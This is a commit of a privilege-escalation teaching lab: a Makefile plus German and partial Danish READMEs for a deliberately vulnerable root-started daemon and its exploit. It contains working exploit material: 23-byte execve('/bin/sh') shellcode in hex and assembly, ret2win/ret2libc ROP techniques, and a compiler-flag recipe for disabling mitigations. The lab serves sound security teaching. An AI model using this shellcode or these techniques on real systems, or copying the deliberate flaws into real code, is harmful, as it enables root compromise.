Initial commit

This commit is contained in:
Johannes Findeisen 2026-09-29 09:39:24 +02:00
commit 394e3be54d
41 changed files with 16315 additions and 0 deletions

17
wosuid/.gitignore vendored Normal file
View file

@ -0,0 +1,17 @@
# Build products
foowosd
foowosc
foowosd_hardened
tests/pty_wosuid_test
# Assembly verification scratch
shellcode.bin
.sc_c_raw.txt
.sc_c.txt
.sc_asm.txt
# Logs
foowosd.log
foowosd_hardened.log
*.log

368
wosuid/Makefile Normal file
View file

@ -0,0 +1,368 @@
# ============================================================================
# Makefile -- builds the wosuid lab: foowosd (a daemon that is root because it
# was STARTED as root), foowosc (the exploit), and the test harness.
# ============================================================================
#
# make build foowosd, foowosc and the test harness
# make run start foowosd as your NORMAL user (baseline: no root)
# make run-root start foowosd as ROOT via sudo (the interesting case)
# make run-root-ns start foowosd as uid 0 inside a user namespace --
# no sudo needed; uses the same kernel path as real root
# make status report what state the daemon is running in
# make test technique matrix against a NON-root daemon
# (every technique lands a shell; root expected MISSING)
# make test-root the matrix with --must-root against a ROOT daemon
# (every technique must now yield uid=0)
# make verify prove the bytes in foowosc.c equal what shellcode.S makes
# make hardened rebuild foowosd with all mitigations ON (expect failure)
# make test-hardened show which techniques the mitigations kill
# make stop stop the daemon (hint if it needs sudo)
# make clean remove build products
#
# ---------------------------------------------------------------------------
# THE ONE IDEA OF THIS LAB
# ---------------------------------------------------------------------------
# There is NO setuid bit: nothing in this directory ever chmods +s. foowosd
# becomes root the way real daemons do -- somebody STARTS it as root
# (`sudo make run-root`, or a systemd unit with User=root). The exploit then
# yields `uid=0(root)` shells, because the *process* is root, and the kernel
# honestly cannot tell "root because of the +s bit" from "root because root
# started it". That distinction is the whole lab: memory-safety bugs in
# privileged processes are privilege-escalation bugs, filesystem attributes
# notwithstanding.
#
# make run -> ruid=euid=1000 exploit lands a USER shell
# make run-root -> ruid=euid=0 exploit lands a ROOT shell (real)
# make run-root-ns -> ruid=euid=0 exploit lands a ROOT shell (uid-0
# in a user namespace; for anyone
# without sudo, and for CI)
#
# Because the root state here sets BOTH real and effective uid to 0, no
# setreuid prefix is needed in the shellcode (contrast the suid lab, where
# the +s bit left ruid at 1000). All three techniques -- shellcode, ret2win,
# ret2libc -- yield root when the daemon is root, and user shells when it is
# not. The verdicts are symmetric and honest.
#
# IMPORTANT: the suid lab owned a root binary; this lab owns a root PROCESS.
# The cleanup ritual matters the same way: `make stop` and do not leave a
# root-started daemon from a vulnerable lab listening anywhere.
# ============================================================================
CC ?= gcc
CSTD := -std=c99
# We do NOT use -Werror: the deliberate overflow triggers
# -Wstringop-overflow in foowosd.c and that warning is supposed to fire.
WARN := -Wall -Wextra
DBG := -O0 -g
# --- the vulnerable build -----------------------------------------------------
# Same deliberate removals as the other two labs: no canary, no PIE, an
# executable stack. None of them has anything to do with HOW the process got
# root; a hardened build of this same source is still a root daemon if root
# started it -- just a harder-to-abuse one.
VULN := -fno-stack-protector -no-pie -z execstack
# --- the hardened build -------------------------------------------------------
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
# Port: 2344 keeps this lab clear of food (2342) and foosd (2343).
PORT ?= 2344
all: foowosd foowosc tests/pty_wosuid_test
# -----------------------------------------------------------------------------
# The daemon and the exploit. Note the exploit builds with mitigations ON:
# the attacker gains nothing by self-weakening, and it proves the toolchain
# works in a hardened process too.
# -----------------------------------------------------------------------------
foowosd: foowosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
foowosc: foowosc.c
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
tests/pty_wosuid_test: tests/pty_wosuid_test.c
$(CC) $(TESTCFLAGS) -o $@ $<
# -----------------------------------------------------------------------------
# run: baseline -- the daemon as YOUR user. Useful to prove (a) the exploit
# mechanics are independent of privilege, and (b) that without a root process
# there is no root shell. The exploit prints exactly that warning.
# -----------------------------------------------------------------------------
run: foowosd
@rm -f foowosd.log
@echo "=== starting foowosd as $$(id -un) (NOT root; baseline only)"
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x foowosd >/dev/null; then \
echo "=== foowosd is running (pid $$(pgrep -x foowosd | head -1))"; \
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
grep '\[stack\]' /proc/$$(pgrep -x foowosd | head -1)/maps; \
echo "=== startup log line (uid/euid state):"; \
grep startup foowosd.log; \
else \
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
fi
# -----------------------------------------------------------------------------
# run-root: THE interesting case. Starts the daemon as real root (sudo), so
# the process has ruid == euid == 0 and the exploit yields uid=0(root).
# -----------------------------------------------------------------------------
run-root: foowosd
@if [ "$$(id -u)" -eq 0 ]; then \
rm -f foowosd.log; \
echo "=== already root; starting foowosd directly"; \
setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true; \
else \
echo "=== starting foowosd as ROOT via sudo (process uid will be 0)"; \
sudo sh -c 'rm -f foowosd.log; setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null &'; \
fi
@sleep 1
@if pgrep -x foowosd >/dev/null; then \
pid=$$(pgrep -x foowosd | head -1); \
echo "=== foowosd is running (pid $$pid)"; \
echo "=== process euid: $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
echo "=== startup log line (uid/euid state):"; \
grep startup foowosd.log; \
else \
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
fi
@echo
@echo "=== now: make test-root"
@echo "=== when done: make stop"
# -----------------------------------------------------------------------------
# run-root-ns: the no-password road to a genuinely uid-0 daemon. unshare -r
# maps your ids to 0 inside a fresh user namespace, then execs foowosd, which
# therefore runs with ruid == euid == 0 -- the same uids the kernel hands a
# real root process. Every syscall the exploit touches (bind, read, execve,
# the '# id' proof) behaves identically, so this exercises the ENTIRE root
# path with no sudo. It is a verification tool and CI-friendly; real root via
# run-root is the production-grade final demo.
# -----------------------------------------------------------------------------
run-root-ns: foowosd
@command -v unshare >/dev/null 2>&1 || { \
echo "!!! unshare not available (util-linux); use 'sudo make run-root'"; \
exit 1; }
@rm -f foowosd.log
@echo "=== starting foowosd inside a user namespace as uid 0 (no sudo)"
@setsid nohup unshare -r ./foowosd > foowosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x foowosd >/dev/null; then \
pid=$$(pgrep -x foowosd | head -1); \
echo "=== foowosd is running (pid $$pid)"; \
echo "=== process euid (namespaced): $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
echo "=== startup log line (uid/euid state):"; \
grep startup foowosd.log; \
else \
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
fi
@echo
@echo "=== now: make test-root (and, when done: make stop)"
stop:
@if pgrep -x foowosd >/dev/null; then \
pkill -x foowosd; sleep 0.5; \
if pgrep -x foowosd >/dev/null; then \
echo "=== foowosd is root-owned and pkill needs privileges:"; \
echo " sudo pkill -x foowosd"; \
else \
echo "=== foowosd stopped"; \
fi; \
else \
echo "=== foowosd was not running"; \
fi
@# Also clean up a leftover hardened daemon; it would hold the port.
@# Linux comm names are truncated to 15 chars, so -x must match
@# 'foowosd_hardene', not the full filename.
@if pgrep -x foowosd_hardene 2>/dev/null; then \
pkill -x foowosd_hardene 2>/dev/null; sleep 0.5; \
echo "=== foowosd_hardened stopped"; \
fi
status:
@if pgrep -x foowosd >/dev/null; then \
pid=$$(pgrep -x foowosd | head -1); \
euid=$$(ps -o euid= -p $$pid | tr -d ' '); \
echo "=== foowosd: running, pid $$pid, euid=$$euid"; \
if [ "$$euid" -eq 0 ]; then \
echo "=== running as ROOT -> the exploit yields uid=0(root) shells"; \
else \
echo "=== running as a normal user -> the exploit yields user shells (baseline)"; \
fi; \
else \
echo "=== foowosd: not running"; \
fi
@echo "=== binary: $$(stat -c '%A %U' foowosd 2>/dev/null || echo 'not built yet')"
@echo "=== (no setuid bit is involved in this lab; there never is one)"
# -----------------------------------------------------------------------------
# test: baseline matrix against a NON-root daemon. Every technique should land
# a shell; root is expected MISSING. The verdict is pty_wosuid_test's EXIT
# STATUS, never a grep of its output.
# -----------------------------------------------------------------------------
test: tests/pty_wosuid_test
@pgrep -x foowosd >/dev/null || { \
echo "!!! foowosd is not running. Start it first: make run"; exit 1; }
@fail=0; \
echo "=== ret2win (baseline: shell, root MISSING -- daemon not root)"; \
./tests/pty_wosuid_test -t ret2win 2>&1 >/dev/null || fail=1; \
echo "=== ret2libc (baseline: shell, root MISSING -- daemon not root)"; \
./tests/pty_wosuid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
echo "=== shellcode (baseline: shell, root MISSING -- daemon not root)"; \
./tests/pty_wosuid_test -t shellcode 2>&1 >/dev/null || fail=1; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== all techniques landed shells against the non-root daemon."; \
echo "=== To see them land ROOT shells, run the daemon as root:"; \
echo "=== make stop && make run-root && make test-root"; \
else \
echo "=== at least one technique failed against the non-root daemon."; \
echo "=== Check foowosd.log and the marker= lines above."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# test-root: the whole point. Demands the daemon actually run with uid 0
# (checked two ways: a running process, and the log's "ROOT process" line),
# then runs every technique with --must-root. A clean pass means all three
# yielded uid=0(root) shells -- root RCE with no setuid bit anywhere.
# -----------------------------------------------------------------------------
test-root: tests/pty_wosuid_test
@pgrep -x foowosd >/dev/null || { \
echo "!!! foowosd is not running. Start it first:"; \
echo " sudo make run-root (or: make run-root-ns)"; exit 1; }
@grep -q -- '-> ROOT process' foowosd.log || { \
echo "!!! foowosd is running but NOT as root (see foowosd.log)."; \
echo " Restart it as root: sudo make run-root (or make run-root-ns)"; \
exit 1; }
@fail=0; \
for t in ret2win ret2libc shellcode; do \
echo "=== $$t (must yield uid=0(root))"; \
if ./tests/pty_wosuid_test -t $$t --must-root 2>&1 >/dev/null; then \
echo "--- $$t: ROOT shell confirmed"; \
else \
fail=1; echo "--- $$t: FAILED to get root"; \
fi; \
done; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== ALL techniques yielded uid=0(root) shells."; \
echo "=== Root RCE with NO setuid bit: the process was root because"; \
echo "=== root started it. See README.md for why this is the whole point."; \
else \
echo "=== root escalation FAILED for at least one technique."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# verify: prove the shellcode bytes in foowosc.c are byte-for-byte what nasm
# produces from shellcode.S.
# -----------------------------------------------------------------------------
verify verify-shellcode: shellcode.S foowosc.c
@command -v nasm >/dev/null 2>&1 || { \
echo "verify-shellcode: nasm is not installed; skipping."; \
echo " (Arch: pacman -S nasm)"; exit 0; }
@echo "=== Assembling shellcode.S ..."
@nasm -f bin -o shellcode.bin shellcode.S
@echo "=== nasm output:"
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//'
@echo
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
@# first (they mention hex constants like "0x3b"), then grep the literals.
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foowosc.c \
| sed -e 's,/\*.*\*/,,' \
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
> .sc_c_raw.txt
@echo "=== bytes declared in foowosc.c's SHELLCODE[] array:"
@cat .sc_c_raw.txt
@echo
@echo "=== comparing ..."
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//' > .sc_asm.txt
@if cmp -s .sc_c.txt .sc_asm.txt; then \
n=$$(wc -c < shellcode.bin); \
echo "MATCH: the $$n bytes in foowosc.c are byte-for-byte what"; \
echo " shellcode.S assembles to."; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
else \
echo "MISMATCH -- the two differ:"; \
diff .sc_c.txt .sc_asm.txt || true; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
fi
# -----------------------------------------------------------------------------
# hardened: same source, all mitigations ON. Every technique should die at the
# canary; the console contrast is the lesson, plus the reminder that a
# hardened build is still a root daemon if root started it.
# -----------------------------------------------------------------------------
hardened: foowosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foowosd_hardened $<
@echo
@echo "=== foowosd_hardened built with the mitigations ON."
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
@readelf -W -l foowosd_hardened | grep GNU_STACK
test-hardened: hardened tests/pty_wosuid_test
@if ! pgrep -x foowosd >/dev/null; then \
echo "=== start the daemon first: make run (or make run-root)"; exit 1; \
fi
@$(MAKE) --no-print-directory stop
@echo "### starting foowosd_hardened instead"
@setsid nohup ./foowosd_hardened > foowosd_hardened.log 2>&1 </dev/null \
& disown 2>/dev/null || true
@sleep 1
@if ! pgrep -x foowosd_hardene 2>/dev/null; then \
echo "!!! foowosd_hardened did not start; see foowosd_hardened.log"; \
$(MAKE) --no-print-directory stop; exit 1; \
fi
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
@grep '\[stack\]' /proc/$$(pgrep -x foowosd_hardene 2>/dev/null | head -1)/maps || true
@echo
@for t in ret2win ret2libc shellcode; do \
echo "=================== $$t"; \
if ./tests/pty_wosuid_test -t $$t 2>&1 >/dev/null; then \
echo "--- $$t: got a shell (report the ROOT= line above)"; \
else \
echo "--- $$t was stopped by the mitigations (as expected)"; \
fi; \
done
@echo
@$(MAKE) --no-print-directory stop
@echo "### restoring the vulnerable daemon (same uid mode as before: run/run-root/run-root-ns)"
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & disown 2>/dev/null || true
@sleep 1
@echo
@echo "=== mitigation contrast is above. See README.md."
# -----------------------------------------------------------------------------
# debug: rebuild for gdb and show the first breakpoints to try.
# -----------------------------------------------------------------------------
debug: foowosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foowosd $<
@echo "=== built ./foowosd for gdb. Try:"
@echo " gdb -q ./foowosd"
@echo " (gdb) break foowosd.c:345 # the read() that overflows"
@echo " (gdb) run -p 2344"
@echo " (gdb) info registers rsp rbp"
# -----------------------------------------------------------------------------
# clean. Logs are left: they are your evidence.
# -----------------------------------------------------------------------------
clean:
rm -f foowosd foowosc foowosd_hardened shellcode.bin
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
rm -f tests/pty_wosuid_test
@echo "=== cleaned. (foowosd.log / foowosd_hardened.log are left alone.)"
.PHONY: all run run-root run-root-ns stop status test test-root verify \
verify-shellcode hardened test-hardened debug clean

325
wosuid/README.DE.md Normal file
View file

@ -0,0 +1,325 @@
# Das `wosuid`-Labor — Root-RCE **ohne** Setuid-Bit
```
foowosd ein absichtlich angreifbarer Daemon, der root ist, weil er als
root *GESTARTET* wurde (Port 2344, standardmäßig nur Loopback)
foowosc der Exploit: verwandelt einen Stack-Overflow in eine **root**-Shell,
indem er Shellcode ausführt — dieselben 23 Bytes, mit denen der
User-Level-`food`-Daemon im übergeordneten Labor geknackt wurde
```
Das ist das dritte Labor der Reihe. Gleiche Exploit-Toolchain, gleicher Stil,
ein fundamentaler Unterschied:
| Labor | wie der Zielprozess root wird | `uid=0(root)`-Shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| nie — es ist ein gewöhnlicher User-Daemon | nein |
| foosd/foosc | das SUID-Bit (`chmod u+s`) — euid 0, ruid 1000 | ja (braucht `setreuid` im Shellcode, weil bash euid→ruid zurücksetzt) |
| **foowosd/foowosc** | **keins — root *startet* den Daemon** (sudo / systemd `User=root`) | **ja (schlichter `execve`-Shellcode)** |
Das Setuid-Bit ist ein *Transportmittel* für Privilegien — nicht die
Privilegien selbst. Ein von root gestarteter Daemon hat reale, effektive und
gespeicherte uid alle gleich 0. Für den Kernel ist das root, Punkt; es kann und
will nicht wissen, ob der Prozess über `+s` an einer Datei dorthin kam oder
über `sudo ./foowosd`. Der Overflow in einem von root gestarteten Daemon ist
also ein Root-Exploit — *„Ich habe keine SUID-Binärprogramme" ist nicht
dasselbe wie „Ich bin nicht ausnutzbar".*
Das ist die ganze Lektion dieses Labors. Alles darunter ist die Maschinerie.
---
## Schnellstart (was der Benutzer angefordert hat)
```
cd wosuid
make # baut den Daemon, den Exploit und die Test-Harness
```
### Das Echte — den Daemon als **root** ausführen
```
sudo make run-root # startet foowosd als uid 0 (Prozess, nicht Dateimodus)
make test-root # jede Technik muss jetzt uid=0(root) ergeben
```
### Kein sudo? Derselbe Kernelpfad über einen User-Namespace
```
make run-root-ns # uid 0 in einem User-Namespace — kein Passwort nötig
make test-root # gleiche Urteile; für CI und alle ohne sudo
```
### Baseline — Daemon als dein normaler Benutzer (kein root irgendwo)
```
make run # foowosd läuft mit deinen uids
make test # Exploits landen Shells, aber `root` wird als MISSING erwartet
```
### Aufräumritual (immer: dies ist ein Root-Shell-Labor)
```
make stop
```
`foowosd` ist *nicht* setuid, und nichts in diesem Verzeichnis macht je
`chmod +s` — das ist der Punkt. Der gefährliche Zustand ist der **Prozess**,
nicht die Datei.
---
## Wenn dir gesagt wird, das SUID-Bit zu setzen
Du wirst es **nicht** tun. Dieses Labor hat bewusst kein SUID-Bit:
- `foowosd` wird gebaut, gehört dir und hat reguläre Modi wie jedes andere
Programm.
- Es wird so root, wie es echte Daemons tun — indem es von *root* gestartet
wird.
- `make run-root` nutzt dafür `sudo`, und `make run-root-ns` bekommt einen
echten uid-0-Prozess ganz ohne das.
Das Suid-Bit gehört dem *Schwester*-Labor (`foosd`). Der Kontrast zwischen den
beiden ist der Lehrplan:
1. SUID-Labor: Das Bit gibt **euid 0, aber ruid 1000** → `execve("/bin/sh")`
wird vom Wächter der bash herabgestuft (`euid != ruid` → Reset) →
der Shellcode muss zuerst `setreuid(0,0)` aufrufen (32-Byte-Payload).
2. Dieses Labor: root **startet** den Prozess → **ruid == euid == 0** → der
Wächter hat nichts zurückzusetzen → der schlichte 23-Byte-`execve`-Shellcode
behält root.
Gleicher Overflow. Gleiche Technik. Anderer *Ursprung* der Privilegien, andere
Payload-Form. Das ist die Lektion in Miniatur.
---
## Das Protokoll
Egal welche Art Client sich verbindet, foowosd begrüßt ihn mit:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (das Banner + die Leaks)
BUF=0x7ffd… (die Pufferadresse)
```
`ids=euid/ruid` ist der *„bin ich root?"*-Seitenkanal. foowosc druckt eine
laute Warnung, wenn euid nicht 0 ist (d. h., du hast den Daemon als normalen
Benutzer gestartet): Der Payload landet trotzdem, aber die Shell wird eine
Benutzer-Shell sein, und den Exploit „kaputt" zu nennen wäre falsch — er
eskaliert nur eben nicht.
> Schreibweise-Hinweis: `ids=`, nicht `euid=`/`ruid=`. Die Test-Harness beweist
> ein lebendes `id`, indem sie die wörtliche Form `uid=NNN(` matcht, daher darf
> das Banner nie einen Teilstring enthalten, der selbst die Prüfung erfüllt.
> (Im SUID-Labor erzeugte genau diese Falle ein spektakuläres Fehlpositiv.)
---
## Die Exploit-Techniken (`foowosc -t …`)
Alle vier Exploit-Pfade unten funktionieren gegen foowosd. Wenn der Daemon
root ist, ergeben **alle, die irgendetwas spawne, root** — anders als im
SUID-Labor, wo ret2win/ret2libc vom bash-Wächter still auf uid 1000
herabgestuft wurden. Hier gibt es keinen Mismatch, gegen den es zu wachen
gälte.
| `-t` | was passiert | wenn der Daemon root ist |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-Byte-`execve("/bin/sh", NULL, NULL)` läuft auf dem Stack. | **root-Shell** (Standard) |
| `ret2win` | Sprung zu `win()` → `execl("/bin/sh")` | **root-Shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-Shell** |
| `demo` | nur Müll-Overflow — erwarte ein SIGSEGV im Daemon-Log | Absturz, per Design |
| `leak` | druckt nur die Leaks, sendet keinen Payload | n/a |
```
./foowosc -t shellcode # interaktiv; Standardziel 127.0.0.1:2344
./foowosc -t shellcode -n # senden und berichten, keine interaktive Session
```
Eine erfolgreiche interaktive Session leitet dein Terminal an die Shell *auf
dem Opfer* weiter — es gibt genau eine Shell im Bild, und es ist `/bin/sh`,
das als root in foowosd läuft. Tippe `id`, um `uid=0(root)` zu sehen.
### Warum es hier keine `ret2win-root`-Technik gibt
foosc hatte eine — sie sprang zu einem `win_root()`, das vor dem exec
`setreuid(0,0)` aufrief, weil ein Setuid-Prozess mit einer realen uid lief, die
immer noch 1000 sagte. Ein von root *gestarteter* Prozess hat die reale uid
schon 0; es gibt nichts zu leeren, also würden die zusätzliche Funktion und
Technik nichts lehren. Entfernt.
---
## Was foowosc Schritt für Schritt tut
1. **Statische Analyse** — `objdump -d` von `./foowosd`. Findet
`vulnerable_handler`, `win()`, das `lea -0x50(%rbp)`, das `buf` adressiert,
und das erste nackte `ret`. Aus der Verschiebung berechnet es
`rip_off = 80 + 8 = 88`. Nichts ist hart verdrahtet; das überlebt einen
Rebuild.
2. **Selbst-Introspektion** — liest sein eigenes `/proc/self/maps` und ruft per
`dlsym()` `system`/`read` auf, um die libc-*Offsets* zu lernen. Die
libc-Basis des Ziels ist `leaked_read − off_read`, dann ist
`system = base + off_system`, usw. Diese Delta-Arithmetik ist der Grund,
warum Exploits über libc-Versionen hinweg am Leben bleiben.
3. **Verbinden** — liest das Banner/die Leaks (`ids=`, `stack=`, `libc=`,
`BUF=`).
4. **Payload bauen** — für `shellcode`: 23 Bytes Maschinencode, Padding bis
`rip_off`, dann die gespeicherte RIP = `buf` (sodass `ret` auf den Code
springt). Für `ret2win`/`ret2libc`: aus der Analyse berechnete Adressen —
keine Ausführung des Stacks nötig.
5. **Der Ausrichtungs-Fix** — ein gekapertes nacktes `ret` übergibt dem Callee
`rsp ≡ 8 (mod 16)`, und glibcs SSE2-Code `movaps`-fault auf einem nicht
ausgerichteten Stack (der Crash-Reporter loggt `si_addr=(nil)` — der
Hinweis). foowosc fügt vor dem echten Ziel ein zusätzliches `ret`-Gadget ein
und stellt die Invariante wieder her. Samthandschuh-Ingenieurkunst in einem
Shellcode-Labor, aber es ist der Unterschied zwischen einem Payload, der
„manchmal funktioniert", und einem, der immer funktioniert.
6. **Senden, dann weiterleiten** — der Opferprozess *ist* die Shell; dieser
Prozess nur splißt Bytes. Keine lokale Shell, kein zweiter Leser — der
Single-Read-Cursor-Fehler (ein gefressenes Byte pro Block) ist in
`become_shell()` dokumentiert.
---
## Die absichtlichen Bugs des Daemons (alle in `foowosd.c`, alle echte CWE-Klassen)
| # | Bug | CWE | Hinweis |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` in einen 64-Byte-Stack-Puffer | CWE-120 | der Overflow: 448 Bytes über `buf` hinaus, gespeicherte RIP bei +88 |
| 2 | nur `snprintf(line, …, "%.*s", …)`; aber Angreifer-`%` im Echo-Pfad | CWE-134 | das Leak ist hier der eigentliche Payload; ein `%n` in einem *root*-Prozess wäre write-what-where als root |
| 3 | Kinder behalten root, während sie unvertrauenswürdige Eingaben behandeln | CWE-271 | das korrekte `drop_privs()` (setgroups→setgid→setuid, in dieser Reihenfolge, mit Verifikation) steht in der Datei, kommentiert, *bewusst nie aufgerufen* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` an jeden Client offengelegt | CWE-200 | ohne diese Leaks könnten Shellcode- und ret2libc-Techniken keine Adressen berechnen (ASLR würde sie schlagen) |
Der Handler hat exakt dieselbe `buf[64]`/`read(512)`-Form wie die beiden
anderen Labore, sodass die geteilte objdump-basierte Erkennungspipeline
unverändert funktioniert.
---
## So inspizierst du den Daemon (Lernpfad)
```
make status # läuft er? als welche uid? Dateimodus wird gezeigt
make run-root # oder run / run-root-ns
./foowosc -t leak # sieh das Banner und die Leaks, sende nichts
./foowosc -t demo # Müll-Overflow -> SIGSEGV, geloggt mit RIP/rsp
./foowosc -t shellcode # die interaktive Root-Shell
make test-root # volle Matrix, alle Techniken, --must-root
```
Crash-Reporter: Bei SIGSEGV loggt der Daemon die Fehleradresse, RIP und RSP.
Ein `ret` in eine nicht-kanonische `0x4141…` fault am `ret` selbst (RIP wie
`0x4028xx`, `si_addr=(nil)`) — wissenswert, bevor du eine Log-Zeile als
NULL-Deref fehlliest.
---
## Warum der Shellcode 23 Bytes sind, nicht 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
Das SUID-Labor braucht `setreuid(0,0)` davor. Dieses Labor nicht, aus dem
Grund, der überall wiederholt wird: **ruid ist bereits 0**, weil root den
Prozess gestartet hat. `make verify` beweist, dass die Bytes in `foowosc.c`
Byte für Byte das sind, was `shellcode.S` assembliert.
---
## Gegenmaßnahmen — was `make hardened` ändert
Gehärteter Build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| Technik | angreifbares `foowosd` | gehärtetes `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-Shell (ausführbarer Stack) | SIGSEGV bei der Canary-Prüfung / NX |
| `ret2win` / `ret2libc` | root-Shell | Canary bricht `ret` ab — aber Achtung: ein *PIE*-Build macht diese Adressen auch zufällig |
| `demo` | SIGSEGV, geloggt | SIGSEGV, geloggt |
`make test-hardened` demonstriert das live. Die wichtige Beobachtung ist nicht
nur, dass die Gegenmaßnahmen die Techniken getötet haben — es ist, dass sie
den Daemon **nicht** „nicht-root" gemacht haben. Ein gehärteter Build, der
immer noch als root *gestartet* wird, ist immer noch ein Root-Daemon; die
Gegenmaßnahme erhöht nur die Latte für den Angreifer. Least Privilege
(`drop_privs()`) und Speichersicherheit sind zwei verschiedene Bugs, und ein
Daemon, der root nicht braucht, sollte es nicht haben.
---
## Sicherheitsleitplanken (gleiche Politik wie das SUID-Labor)
- **Nur Loopback.** foowosd weigert sich, etwas anderes als `127.0.0.1` /
`localhost` / `::1` zu binden, sofern du nicht `-L` übergibst. Ein
Root-Daemon auf einer echten Schnittstelle ist ein *entfernter* Root-Dienst.
`-L` dient nur dazu, den Wächter zu zeigen; verwende es nicht auf irgendetwas,
das wichtig ist.
- **Der Zustand wird laut geloggt.** Beim Start druckt es `ruid/euid` und ob
dies ein Root-Prozess ist, sodass du immer weißt, welches Exploit-Ergebnis
zu erwarten ist.
- **Urteile kommen aus Exit-Status** in `make test*` (dem Rückgabecode der
pty-Harness), nie aus dem Greppen ihrer stdout-Ausgabe — greppbare Ausgabe
lügt.
- **pty muss cooked + ECHO off laufen**, sonst spiegelt die Harness ihre eigene
Befehlszeile zurück und fälscht den Marker. Die Harness schaltet ECHO aus und
lässt ECHONL an.
- **Aufräumritual:** `make stop` nach jeder Session. Wenn der Daemon
root-gehörig ist, sagt dir `stop`, dass du `sudo pkill -x foowosd` ausführen
sollst.
- Führe dies nie auf einem Host aus, der dir wichtig ist. Es existiert, um
`uid=0`-Shells über die Loopback-Schnittstelle auszugeben.
---
## Übungen
1. Führe `make run` (User-Daemon) aus, dann `./foowosc -t shellcode`. Warum
ist die Shell nicht root? (Prüfe `ids=` im Banner — foowosc sagt es dir,
bevor du dich überhaupt verbindest.)
2. `make stop && sudo make run-root && make test-root`. Erkläre anhand der
Banner-Zeile, warum alle vier Techniken jetzt `uid=0(root)` ergeben.
3. Finde in `foowosd.c` `drop_privs()` und lies, *warum die Reihenfolge* von
`setgroups → setgid → setuid` zählt. Entscheide, wo in `main()` es
hingehören würde, und was aus der Angriffsfläche des Labors wird, sobald es
tatsächlich aufgerufen wird.
4. Berechne `rip_off` von Hand aus `objdump -d foowosd`: finde `buf`s
`lea -0xNN(%rbp)` in `vulnerable_handler`, dann `NN + 8`. foowosc macht
genau das; prüfe seine Rechnung gegen deine eigene.
5. `make hardened && make test-hardened`. Welche Technik erliegt dem Canary und
welche NX? Warum ändert Härten nicht, was `make status` über den *Prozess*
meldet?
6. Vergleiche die Shellcodes der beiden Labore: 23 Bytes hier, 32 für foosd.
Was tun die zusätzlichen 9 Bytes, und warum werden sie nur im SUID-Fall
gebraucht?
7. Lies `become_shell()`s Kommentar über den einzelnen Read-Cursor. Stelle den
Ausfallmodus gedanklich nach: zwei Leser an einem Socket bedeuten, dass die
Login-Shell ein Byte pro Block frisst — „uid=1000…" kommt als „id=1000…" an.
Warum kann ein Relay-Prozess diesen Bug nie haben?
---
## Dateien
```
foowosd.c der angreifbare Root-Daemon (jede Zeile kommentiert)
foowosc.c der Exploit (jede Zeile kommentiert)
shellcode.S Referenz-Assembly für den 23-Byte-Payload
tests/pty_wosuid_test.c die pty-Harness (Marker + strenge id-Form-Prüfungen)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Schwester-Labore: `../food.c`/`../fooc.c` (User-Level-Baseline, Port 2342) und
`../suid/` (SUID-Root-Daemon `foosd`/`foosc`, Port 2343). Die Ports sind
bewusst verschieden — du kannst alle drei gleichzeitig laufen lassen und ihre
`ids=`-Zeilen im Banner gegeneinander prüfen.

309
wosuid/README.DK.md Normal file
View file

@ -0,0 +1,309 @@
# `wosuid`-laboratoriet — root-RCE **uden** setuid-bit
```
foowosd en bevidst sårbar daemon, der er root, fordi den blev *STARTET* som
root (port 2344, kun loopback som standard)
foowosc exploitet: forvandler et stack-overløb til en **root**-shell ved at
udføre shellcode — de samme 23 bytes, der knækkede user-level-
`food`-daemonen i det overordnede laboratorium
```
